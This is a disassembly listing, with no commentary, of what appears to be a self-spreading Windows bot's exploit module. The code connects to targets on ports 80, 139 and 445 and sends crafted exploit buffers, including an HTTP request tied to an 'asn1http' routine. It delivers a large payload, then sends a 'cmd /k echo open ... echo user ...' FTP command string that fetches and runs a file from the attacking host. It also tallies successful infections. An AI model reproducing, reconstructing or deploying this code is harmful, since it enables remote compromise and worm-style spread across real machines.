sub_402EDB proc near ; CODE XREF: sub_402FB5+48p
; sub_4032B0+181p
var_104 = byte ptr -104h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 104h
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea ebx, [edi+41h]
push ebx
mov [ebp+var_4], ebx
call sub_41279F
mov esi, eax
pop ecx
test esi, esi
jnz short loc_402F04
xor al, al
jmp loc_402FB0
; ---------------------------------------------------------------------------
loc_402F04: ; CODE XREF: sub_402EDB+20j
push ebx
push 0
push esi
call sub_411F70
push 2Fh
push offset dword_420664
push esi
call sub_411FD0
push 8
lea eax, [esi+31h]
push offset dword_420694
push eax
mov [esi+2Fh], di
call sub_411FD0
push edi
lea ebx, [esi+3Bh]
push [ebp+arg_4]
mov [esi+39h], di
push ebx
call sub_411FD0
push 6
add ebx, edi
push offset dword_4326FC
push ebx
call sub_411FD0
mov ebx, [ebp+arg_0]
push 85h
push offset dword_4205DC
push ebx
call sub_402E96
add esp, 48h
test al, al
jnz short loc_402F6C
loc_402F68: ; CODE XREF: sub_402EDB+B5j
xor bl, bl
jmp short loc_402FA7
; ---------------------------------------------------------------------------
loc_402F6C: ; CODE XREF: sub_402EDB+8Bj
mov edi, 100h
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_402E17
push [ebp+var_4]
push esi
push ebx
call sub_402E96
add esp, 1Ch
test al, al
jz short loc_402F68
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_402E17
add esp, 10h
mov bl, 1
loc_402FA7: ; CODE XREF: sub_402EDB+8Fj
push esi
call sub_412813
pop ecx
mov al, bl
loc_402FB0: ; CODE XREF: sub_402EDB+24j
pop edi
pop esi
pop ebx
leave
retn
sub_402EDB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402FB5 proc near ; CODE XREF: sub_4032B0+167p
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push 0
push 48h
push offset unk_4206A0
push [ebp+arg_0]
call dword_41D1DC ; send
cmp eax, 48h
jnz short loc_402FF0
push 0
lea eax, [ebp+var_20]
push 20h
push eax
push [ebp+arg_0]
call sub_402E17
add esp, 10h
cmp eax, 0FFFFFFFFh
jz short loc_402FF0
cmp [ebp+var_20], 82h
jz short loc_402FF4
loc_402FF0: ; CODE XREF: sub_402FB5+1Bj
; sub_402FB5+33j
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_402FF4: ; CODE XREF: sub_402FB5+39j
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_402EDB
add esp, 0Ch
leave
retn
sub_402FB5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403007 proc near ; CODE XREF: sub_403053+2Dp
var_10 = qword ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
and dword ptr [ebp+var_8+4], 0
shl eax, 3
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
fmul dbl_41D238
call sub_412964
and dword ptr [ebp+var_8+4], 0
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
push ecx
push ecx ; double
fst [ebp+var_8]
fmul dbl_41D230
fstp [esp+10h+var_10]
call sub_412842
fadd st, st
pop ecx
pop ecx
fadd [ebp+var_8]
call sub_412964
inc eax
leave
retn
sub_403007 endp
; =============== S U B R O U T I N E =======================================
sub_403053 proc near ; CODE XREF: sub_4031F5+24p
var_40 = qword ptr -40h
mov eax, offset loc_41CB33
call sub_412E30
sub esp, 2Ch
mov al, [ebp+13h]
push ebx
push esi
push edi
xor edi, edi
lea ecx, [ebp-38h]
push edi
mov [ebp-20h], edi
mov [ebp-38h], al
call sub_4036CA
push 1
pop ebx
push dword ptr [ebp+10h]
mov [ebp-4], ebx
call sub_403007
cmp [ebp-2Ch], eax
pop ecx
jnb short loc_403095
push edi
push eax
lea ecx, [ebp-38h]
call sub_403645
loc_403095: ; CODE XREF: sub_403053+36j
cmp [ebp+10h], edi
mov [ebp-18h], edi
jbe loc_4031B2
mov ebx, [ebp+10h]
loc_4030A4: ; CODE XREF: sub_403053+156j
cmp dword ptr [ebp+10h], 3
jb short loc_4030AE
push 3
jmp short loc_4030C0
; ---------------------------------------------------------------------------
loc_4030AE: ; CODE XREF: sub_403053+55j
cmp dword ptr [ebp+10h], 2
jnz short loc_4030B8
push 2
jmp short loc_4030C0
; ---------------------------------------------------------------------------
loc_4030B8: ; CODE XREF: sub_403053+5Fj
cmp dword ptr [ebp+10h], 1
jnz short loc_4030C1
push 1
loc_4030C0: ; CODE XREF: sub_403053+59j
; sub_403053+63j
pop ebx
loc_4030C1: ; CODE XREF: sub_403053+69j
mov [ebp-28h], ebx
mov [ebp-24h], edi
fild qword ptr [ebp-28h]
push ecx
push ecx ; double
fmul dbl_41D248
fstp [esp+40h+var_40]
call sub_41298B
pop ecx
pop ecx
call sub_412964
cmp ebx, edi
mov [ebp-1Ch], eax
jbe short loc_403100
mov esi, [ebp+0Ch]
mov ecx, ebx
mov edx, ecx
lea edi, [ebp-10h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
xor edi, edi
loc_403100: ; CODE XREF: sub_403053+93j
mov cl, [ebp-10h]
mov dl, [ebp-10h]
sar cl, 2
and cl, 3Fh
and dl, 3
mov [ebp-14h], cl
mov cl, [ebp-0Fh]
sar cl, 4
and cl, 0Fh
add [ebp+0Ch], ebx
shl dl, 4
add cl, dl
mov dl, [ebp-0Fh]
mov [ebp-13h], cl
mov cl, [ebp-0Eh]
sar cl, 6
and dl, 0Fh
sub [ebp+10h], ebx
and cl, 3
xor esi, esi
shl dl, 2
add cl, dl
mov [ebp-12h], cl
mov cl, [ebp-0Eh]
and cl, 3Fh
cmp eax, edi
mov [ebp-11h], cl
jbe short loc_40316E
add [ebp-18h], eax
loc_403152: ; CODE XREF: sub_403053+119j
movsx eax, byte ptr [ebp+esi-14h]
lea ecx, [ebp-38h]
mov al, byte_4206EC[eax]
push eax
push 1
call sub_4034C7
inc esi
cmp esi, [ebp-1Ch]
jb short loc_403152
loc_40316E: ; CODE XREF: sub_403053+FAj
cmp dword ptr [ebp-18h], 48h
jb short loc_40318C
push dword ptr [ebp+14h]
call sub_4126F0
pop ecx
push eax
lea ecx, [ebp-38h]
push dword ptr [ebp+14h]
call sub_403520
mov [ebp-18h], edi
loc_40318C: ; CODE XREF: sub_403053+11Fj
push 4
pop esi
cmp [ebp-1Ch], esi
jnb short loc_4031A6
sub esi, [ebp-1Ch]
loc_403197: ; CODE XREF: sub_403053+151j
push 3Dh
push 1
lea ecx, [ebp-38h]
call sub_4034C7
dec esi
jnz short loc_403197
loc_4031A6: ; CODE XREF: sub_403053+13Fj
cmp [ebp+10h], edi
ja loc_4030A4
push 1
pop ebx
loc_4031B2: ; CODE XREF: sub_403053+48j
mov esi, [ebp+8]
mov al, [ebp-38h]
push edi
mov ecx, esi
mov [esi], al
call sub_4036CA
push dword_41D240
lea eax, [ebp-38h]
mov ecx, esi
push edi
push eax
call sub_403577
mov [ebp-20h], ebx
and byte ptr [ebp-4], 0
push ebx
lea ecx, [ebp-38h]
call sub_4036CA
mov ecx, [ebp-0Ch]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_403053 endp
; =============== S U B R O U T I N E =======================================
sub_4031F5 proc near ; CODE XREF: sub_4032B0+14Ap
mov eax, offset loc_41CB50
call sub_412E30
sub esp, 10h
push ebx
push esi
push edi
push offset byte_432708
lea eax, [ebp-1Ch]
push dword ptr [ebp+10h]
xor ebx, ebx
mov [ebp-4], ebx
push dword ptr [ebp+0Ch]
push eax
call sub_403053
mov eax, [ebp+1Ch]
mov ecx, [ebp-14h]
mov byte ptr [ebp-4], 1
lea esi, [ecx+eax+36h]
push esi
call sub_41279F
mov edi, eax
add esp, 14h
cmp edi, ebx
jnz short loc_40323F
xor bl, bl
jmp short loc_403283
; ---------------------------------------------------------------------------
loc_40323F: ; CODE XREF: sub_4031F5+44j
mov ecx, [ebp-18h]
mov eax, offset dword_41D250
cmp ecx, ebx
jnz short loc_40324D
mov ecx, eax
loc_40324D: ; CODE XREF: sub_4031F5+54j
cmp [ebp+18h], ebx
jz short loc_403255
mov eax, [ebp+18h]
loc_403255: ; CODE XREF: sub_4031F5+5Bj
push ecx
push eax
push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"...
push esi
push edi
call sub_41246A
add esp, 14h
push ebx
push esi
push edi
push dword ptr [ebp+8]
call dword_433B18 ; send
cmp eax, esi
jz short loc_40327A
xor bl, bl
jmp short loc_40327C
; ---------------------------------------------------------------------------
loc_40327A: ; CODE XREF: sub_4031F5+7Fj
mov bl, 1
loc_40327C: ; CODE XREF: sub_4031F5+83j
push edi
call sub_412813
pop ecx
loc_403283: ; CODE XREF: sub_4031F5+48j
and byte ptr [ebp-4], 0
push 1
lea ecx, [ebp-1Ch]
call sub_4036CA
or dword ptr [ebp-4], 0FFFFFFFFh
push 1
lea ecx, [ebp+14h]
call sub_4036CA
mov ecx, [ebp-0Ch]
pop edi
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_4031F5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4032B0 proc near ; CODE XREF: sub_405DDD+1E6p
; DATA XREF: .nsp0:off_422884o
var_624 = byte ptr -624h
var_424 = byte ptr -424h
var_423 = byte ptr -423h
var_395 = byte ptr -395h
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
arg_BB = byte ptr 0C3h
push ebp
mov ebp, esp
sub esp, 624h
and [ebp+var_424], 0
push ebx
push esi
push edi
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp+var_423]
push 8Fh
rep stosd
stosw
stosb
lea eax, [ebp+var_424]
push offset sub_420898
push eax
call sub_411FD0
add esp, 0Ch
mov eax, offset byte_425BC0
push eax
push eax
push dword_432710
push [ebp+arg_0]
call sub_408045
pop ecx
push eax
push offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user 1 "...
lea eax, [ebp+var_395]
push 400h
push eax
call sub_41246A
add eax, 90h
push eax
lea eax, [ebp+var_424]
push eax
push 164h
lea eax, [ebp+var_24]
push offset sub_420730
push eax
call sub_402AB1
mov ecx, [eax]
xor esi, esi
mov [ebp+var_8], ecx
add esp, 30h
mov eax, [eax+4]
cmp eax, esi
mov [ebp+var_4], eax
jnz short loc_403356
xor eax, eax
jmp loc_4034BA
; ---------------------------------------------------------------------------
loc_403356: ; CODE XREF: sub_4032B0+9Dj
mov [ebp+var_C], esi
loc_403359: ; CODE XREF: sub_4032B0+1A9j
test esi, esi
jnz loc_40345F
push 6
push 1
push 2
call dword_41D1D8 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_403447
xor eax, eax
lea edi, [ebp+var_1A]
stosd
push [ebp+arg_A0]
stosd
stosd
stosw
mov [ebp+var_1C], 2
call dword_433AC8 ; ntohs
mov [ebp+var_1A], ax
lea eax, [ebp+arg_4]
push eax
call dword_433B08 ; inet_addr
mov [ebp+var_18], eax
lea eax, [ebp+var_1C]
push 10h
push eax
push ebx
call dword_433A70 ; connect
cmp eax, 0FFFFFFFFh
jz loc_40343C
cmp [ebp+arg_A0], 50h
jnz short loc_403404
mov al, [ebp+arg_BB]
sub esp, 10h
mov esi, esp
mov [ebp+var_20], esp
push 0
mov ecx, esi
mov [esi], al
call sub_4036CA
lea eax, [ebp+arg_4]
push eax
call sub_4126F0
pop ecx
push eax
lea eax, [ebp+arg_4]
push eax
mov ecx, esi
call sub_403706
push [ebp+var_4]
push [ebp+var_8]
push ebx
call sub_4031F5
add esp, 1Ch
jmp short loc_403439
; ---------------------------------------------------------------------------
loc_403404: ; CODE XREF: sub_4032B0+112j
cmp [ebp+arg_A0], 8Bh
jnz short loc_40341E
push [ebp+var_4]
push [ebp+var_8]
push ebx
call sub_402FB5
jmp short loc_403436
; ---------------------------------------------------------------------------
loc_40341E: ; CODE XREF: sub_4032B0+15Ej
cmp [ebp+arg_A0], 1BDh
jnz short loc_40343C
push [ebp+var_4]
push [ebp+var_8]
push ebx
call sub_402EDB
loc_403436: ; CODE XREF: sub_4032B0+16Cj
add esp, 0Ch
loc_403439: ; CODE XREF: sub_4032B0+152j
movzx esi, al
loc_40343C: ; CODE XREF: sub_4032B0+105j
; sub_4032B0+178j
push ebx
call dword_433B60 ; closesocket
test esi, esi
jnz short loc_403452
loc_403447: ; CODE XREF: sub_4032B0+C2j
push 3E8h
call dword_41D05C ; Sleep
loc_403452: ; CODE XREF: sub_4032B0+195j
inc [ebp+var_C]
cmp [ebp+var_C], 2
jl loc_403359
loc_40345F: ; CODE XREF: sub_4032B0+ABj
lea ecx, [ebp+var_8]
call sub_4028D6
test esi, esi
jz short loc_4034B8
lea eax, [ebp+arg_4]
push eax
mov eax, [ebp+arg_A8]
imul eax, 3Ch
add eax, offset aAsn1http ; "asn1http"
push eax
push offset dword_42095C
lea eax, [ebp+var_624]
push 200h
push eax
call sub_41246A
lea eax, [ebp+var_624]
push eax
call sub_408E17
mov eax, [ebp+arg_A8]
add esp, 18h
imul eax, 3Ch
inc dword_422888[eax]
lea eax, dword_422888[eax]
loc_4034B8: ; CODE XREF: sub_4032B0+1B9j
mov eax, esi
loc_4034BA: ; CODE XREF: sub_4032B0+A1j
pop edi
pop esi
pop ebx
leave
retn
sub_4032B0 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41CB14
loc_4034BF: ; CODE XREF: sub_41CB14+3j
; .nsp0:0041CB2Dj ...
push 1
call sub_4036CA
retn
; END OF FUNCTION CHUNK FOR sub_41CB14
; =============== S U B R O U T I N E =======================================
sub_4034C7 proc near ; CODE XREF: sub_403053+110p
; sub_403053+14Bp
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, dword_41D240
push ebx
mov ebx, [esp+4+arg_0]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_4034E1
call sub_41C680
loc_4034E1: ; CODE XREF: sub_4034C7+13j
test ebx, ebx
jbe short loc_403518
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_403645
test al, al
jz short loc_403518
movsx eax, [esp+0Ch+arg_4]
push ebx
push eax
mov eax, [esi+4]
add eax, [esi+8]
push eax
call sub_411F70
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [eax+edi], 0
loc_403518: ; CODE XREF: sub_4034C7+1Cj
; sub_4034C7+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_4034C7 endp
; =============== S U B R O U T I N E =======================================
sub_403520 proc near ; CODE XREF: sub_403053+131p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, dword_41D240
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_40353A
call sub_41C680
loc_40353A: ; CODE XREF: sub_403520+13j
test ebx, ebx
jbe short loc_40356F
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_403645
test al, al
jz short loc_40356F
mov eax, [esi+8]
push ebx
push [esp+10h+arg_0]
add eax, [esi+4]
push eax
call sub_411FD0
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
loc_40356F: ; CODE XREF: sub_403520+1Cj
; sub_403520+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_403520 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403577 proc near ; CODE XREF: sub_403053+17Cp
; sub_41C6DA+46p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
mov edi, ecx
cmp [ebx+8], eax
jnb short loc_40358F
call sub_41C8AC
loc_40358F: ; CODE XREF: sub_403577+11j
mov eax, [ebx+8]
mov ecx, [ebp+arg_4]
mov esi, eax
sub esi, ecx
cmp [ebp+arg_8], esi
jnb short loc_4035A1
mov esi, [ebp+arg_8]
loc_4035A1: ; CODE XREF: sub_403577+25j
cmp edi, ebx
jnz short loc_4035C3
push dword_41D240
add esi, ecx
mov ecx, edi
push esi
call sub_40373B
push [ebp+arg_4]
mov ecx, edi
push 0
call sub_40373B
jmp short loc_40363C
; ---------------------------------------------------------------------------
loc_4035C3: ; CODE XREF: sub_403577+2Cj
test esi, esi
jbe short loc_403606
cmp esi, eax
jnz short loc_403606
mov eax, [ebx+4]
test eax, eax
jnz short loc_4035D7
mov eax, offset dword_41D250
loc_4035D7: ; CODE XREF: sub_403577+59j
cmp byte ptr [eax-1], 0FEh
jnb short loc_403606
push 1
mov ecx, edi
call sub_4036CA
mov eax, [ebx+4]
test eax, eax
jnz short loc_4035F2
mov eax, offset dword_41D250
loc_4035F2: ; CODE XREF: sub_403577+74j
mov [edi+4], eax
mov ecx, [ebx+8]
mov [edi+8], ecx
mov ecx, [ebx+0Ch]
mov [edi+0Ch], ecx
inc byte ptr [eax-1]
jmp short loc_40363C
; ---------------------------------------------------------------------------
loc_403606: ; CODE XREF: sub_403577+4Ej
; sub_403577+52j ...
push 1
push esi
mov ecx, edi
call sub_403645
test al, al
jz short loc_40363C
mov eax, [ebx+4]
test eax, eax
jnz short loc_403620
mov eax, offset dword_41D250
loc_403620: ; CODE XREF: sub_403577+A2j
mov ecx, [ebp+arg_4]
push esi
add eax, ecx
push eax
push dword ptr [edi+4]
call sub_411FD0
mov eax, [edi+4]
add esp, 0Ch
mov [edi+8], esi
and byte ptr [eax+esi], 0
loc_40363C: ; CODE XREF: sub_403577+4Aj
; sub_403577+8Dj ...
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_403577 endp
; =============== S U B R O U T I N E =======================================
sub_403645 proc near ; CODE XREF: sub_403053+3Dp
; sub_4034C7+28p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
cmp edi, 0FFFFFFFDh
jbe short loc_403657
call sub_41C680
loc_403657: ; CODE XREF: sub_403645+Bj
mov ecx, [esi+4]
xor edx, edx
cmp ecx, edx
jz short loc_403680
mov al, [ecx-1]
cmp al, dl
jz short loc_403680
cmp al, 0FFh
jz short loc_403680
cmp edi, edx
jnz short loc_4036BB
dec al
push edx
mov [ecx-1], al
loc_403675: ; CODE XREF: sub_403645+47j
mov ecx, esi
call sub_4036CA
loc_40367C: ; CODE XREF: sub_403645+4Bj
; sub_403645+52j
xor al, al
jmp short loc_4036C5
; ---------------------------------------------------------------------------
loc_403680: ; CODE XREF: sub_403645+19j
; sub_403645+20j ...
cmp edi, edx
jnz short loc_403699
cmp [esp+8+arg_4], dl
jz short loc_40368E
push 1
jmp short loc_403675
; ---------------------------------------------------------------------------
loc_40368E: ; CODE XREF: sub_403645+43j
cmp ecx, edx
jz short loc_40367C
mov [esi+8], edx
mov [ecx], dl
jmp short loc_40367C
; ---------------------------------------------------------------------------
loc_403699: ; CODE XREF: sub_403645+3Dj
cmp [esp+8+arg_4], dl
jz short loc_4036B6
mov eax, [esi+0Ch]
cmp eax, 1Fh
ja short loc_4036AB
cmp eax, edi
jnb short loc_4036C3
loc_4036AB: ; CODE XREF: sub_403645+60j
push 1
mov ecx, esi
call sub_4036CA
jmp short loc_4036BB
; ---------------------------------------------------------------------------
loc_4036B6: ; CODE XREF: sub_403645+58j
cmp [esi+0Ch], edi
jnb short loc_4036C3
loc_4036BB: ; CODE XREF: sub_403645+28j
; sub_403645+6Fj
push edi
mov ecx, esi
call sub_4037A2
loc_4036C3: ; CODE XREF: sub_403645+64j
; sub_403645+74j
mov al, 1
loc_4036C5: ; CODE XREF: sub_403645+39j
pop edi
pop esi
retn 8
sub_403645 endp
; =============== S U B R O U T I N E =======================================
sub_4036CA proc near ; CODE XREF: sub_403053+1Fp
; sub_403053+16Ap ...
arg_0 = byte ptr 4
cmp [esp+arg_0], 0
push esi
mov esi, ecx
jz short loc_4036F6
mov eax, [esi+4]
test eax, eax
jz short loc_4036F6
lea ecx, [eax-1]
mov al, [eax-1]
test al, al
jz short loc_4036EF
cmp al, 0FFh
jz short loc_4036EF
dec al
mov [ecx], al
jmp short loc_4036F6
; ---------------------------------------------------------------------------
loc_4036EF: ; CODE XREF: sub_4036CA+19j
; sub_4036CA+1Dj
push ecx
call sub_412E4F
pop ecx
loc_4036F6: ; CODE XREF: sub_4036CA+8j
; sub_4036CA+Fj ...
and dword ptr [esi+4], 0
and dword ptr [esi+8], 0
and dword ptr [esi+0Ch], 0
pop esi
retn 4
sub_4036CA endp
; =============== S U B R O U T I N E =======================================
sub_403706 proc near ; CODE XREF: sub_4032B0+13Ep
; sub_40385F+28p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_4]
push 1
mov esi, ecx
push edi
call sub_403645
test al, al
jz short loc_403734
push edi
push [esp+0Ch+arg_0]
push dword ptr [esi+4]
call sub_411FD0
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [eax+edi], 0
loc_403734: ; CODE XREF: sub_403706+12j
mov eax, esi
pop edi
pop esi
retn 8
sub_403706 endp
; =============== S U B R O U T I N E =======================================
sub_40373B proc near ; CODE XREF: sub_403577+39p
; sub_403577+45p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, ecx
cmp [edi+8], esi
jnb short loc_40374E
call sub_41C8AC
loc_40374E: ; CODE XREF: sub_40373B+Cj
mov ecx, edi
call sub_40385F
mov eax, [edi+8]
mov ebx, [esp+0Ch+arg_4]
sub eax, esi
cmp eax, ebx
jnb short loc_403764
mov ebx, eax
loc_403764: ; CODE XREF: sub_40373B+25j
test ebx, ebx
jbe short loc_40379A
mov ecx, [edi+4]
sub eax, ebx
add ecx, esi
push eax
lea eax, [ecx+ebx]
push eax
push ecx
call sub_412E60
mov esi, [edi+8]
add esp, 0Ch
sub esi, ebx
mov ecx, edi
push 0
push esi
call sub_403645
test al, al
jz short loc_40379A
mov eax, [edi+4]
mov [edi+8], esi
and byte ptr [esi+eax], 0
loc_40379A: ; CODE XREF: sub_40373B+2Bj
; sub_40373B+53j
mov eax, edi
pop edi
pop esi
pop ebx
retn 8
sub_40373B endp
; =============== S U B R O U T I N E =======================================
sub_4037A2 proc near ; CODE XREF: sub_403645+79p
mov eax, offset loc_41CB5C
call sub_412E30
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+8]
or edi, 1Fh
mov esi, ecx
cmp edi, 0FFFFFFFDh
mov [ebp-10h], esp
mov [ebp-14h], esi
jbe short loc_4037C8
mov edi, [ebp+8]
loc_4037C8: ; CODE XREF: sub_4037A2+21j
and dword ptr [ebp-4], 0
lea eax, [edi+2]
test eax, eax
jge short loc_4037D5
xor eax, eax
loc_4037D5: ; CODE XREF: sub_4037A2+2Fj
push eax
call sub_413195
pop ecx
mov [ebp+8], eax
jmp short loc_403806
; ---------------------------------------------------------------------------
loc_4037E1: ; DATA XREF: .nsp0:0041DF04o
mov eax, [ebp+8]
mov [ebp-18h], eax
add eax, 2
test eax, eax
jge short loc_4037F0
xor eax, eax
loc_4037F0: ; CODE XREF: sub_4037A2+4Aj
push eax
call sub_413195
mov [ebp+8], eax
pop ecx
mov eax, offset loc_403800
retn
; ---------------------------------------------------------------------------
loc_403800: ; DATA XREF: sub_4037A2+58o
mov esi, [ebp-14h]
mov edi, [ebp-18h]
loc_403806: ; CODE XREF: sub_4037A2+3Dj
mov eax, [esi+8]
test eax, eax
jbe short loc_403824
cmp eax, edi
jbe short loc_403813
mov eax, edi
loc_403813: ; CODE XREF: sub_4037A2+6Dj
push eax
mov eax, [ebp+8]
push dword ptr [esi+4]
inc eax
push eax
call sub_411FD0
add esp, 0Ch
loc_403824: ; CODE XREF: sub_4037A2+69j
mov ebx, [esi+8]
push 1
mov ecx, esi
call sub_4036CA
mov eax, [ebp+8]
inc eax
mov [esi+4], eax
and byte ptr [eax-1], 0
cmp ebx, edi
mov [esi+0Ch], edi
ja short loc_403844
mov edi, ebx
loc_403844: ; CODE XREF: sub_4037A2+9Ej
mov eax, [esi+4]
mov ecx, [ebp-0Ch]
mov [esi+8], edi
and byte ptr [eax+edi], 0
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_4037A2 endp
; =============== S U B R O U T I N E =======================================
sub_40385F proc near ; CODE XREF: sub_40373B+15p
push esi
push edi
mov edi, ecx
mov esi, [edi+4]
test esi, esi
jz short loc_40388C
mov al, [esi-1]
test al, al
jz short loc_40388C
cmp al, 0FFh
jz short loc_40388C
push 1
call sub_4036CA
push esi
call sub_4126F0
pop ecx
push eax
push esi
mov ecx, edi
call sub_403706
loc_40388C: ; CODE XREF: sub_40385F+9j
; sub_40385F+10j ...
pop edi
pop esi
retn
sub_40385F endp
; =============== S U B R O U T I N E =======================================
sub_40388F proc near ; DATA XREF: .nsp0:0041F004o
test byte_462EAC, 1
jnz short loc_40389F
or byte_462EAC, 1
loc_40389F: ; CODE XREF: sub_40388F+7j
jmp $+5
push offset nullsub_1
call sub_413210
pop ecx
retn
sub_40388F endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4038B1 proc near ; CODE XREF: .nsp0:00403A30p
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_411F70
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
call dword_41D1C4 ; inet_addr
push [ebp+arg_BC]
mov [ebp+var_C], eax
call dword_41D1C8 ; ntohs
push esi
push 1
push 2
mov [ebp+var_E], ax
call dword_41D1D8 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40397F
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_41D1CC ; connect
cmp eax, 0FFFFFFFFh
jz short loc_40397F
mov edi, 400h
push esi
mov esi, dword_41D1D0
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; dword_41D1D0
mov eax, offset byte_425BC0
push eax
push eax
push dword_432710
push [ebp+arg_0]
call sub_408045
pop ecx
push eax
push offset aCmdKEchoOpen_0 ; "cmd /k echo open %s %d >> ii &echo user"...
lea eax, [ebp+var_1A0]
push 190h
push eax
call sub_41246A
add esp, 1Ch
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_4126F0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_41D1DC ; send
cmp eax, 0FFFFFFFFh
jnz short loc_403983
loc_40397F: ; CODE XREF: sub_4038B1+50j
; sub_4038B1+62j
xor eax, eax
jmp short loc_40399A
; ---------------------------------------------------------------------------
loc_403983: ; CODE XREF: sub_4038B1+CCj
push 0
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; dword_41D1D0
push ebx
call dword_41D1D4 ; closesocket
push 1
pop eax
loc_40399A: ; CODE XREF: sub_4038B1+D0j
pop edi
pop esi
pop ebx
leave
retn
sub_4038B1 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 10h
push esi
lea eax, [ebp+0Ch]
push edi
push eax
mov word ptr [ebp-10h], 2
call dword_433B08 ; inet_addr
push dword ptr [ebp+0A8h]
mov [ebp-0Ch], eax
call dword_433AC8 ; ntohs
push 6
push 1
push 2
mov [ebp-0Eh], ax
call dword_41D1D8 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_403A11
lea eax, [ebp-10h]
push 10h
push eax
push esi
call dword_41D1CC ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_4039F2
push esi
jmp short loc_403A0B
; ---------------------------------------------------------------------------
loc_4039F2: ; CODE XREF: .nsp0:004039EDj
push 0
push 1213h
push offset dword_4209D8
push esi
call dword_41D1DC ; send
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_403A15
loc_403A0B: ; CODE XREF: .nsp0:004039F0j
call dword_41D1D4 ; closesocket
loc_403A11: ; CODE XREF: .nsp0:004039DBj
xor eax, eax
jmp short loc_403A57
; ---------------------------------------------------------------------------
loc_403A15: ; CODE XREF: .nsp0:00403A09j
call dword_41D1D4 ; closesocket
push 216Bh
lea esi, [ebp+8]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_4038B1
add esp, 0C0h
test eax, eax
jz short loc_403A54
mov eax, [ebp+0B0h]
imul eax, 3Ch
inc dword_422888[eax]
lea eax, dword_422888[eax]
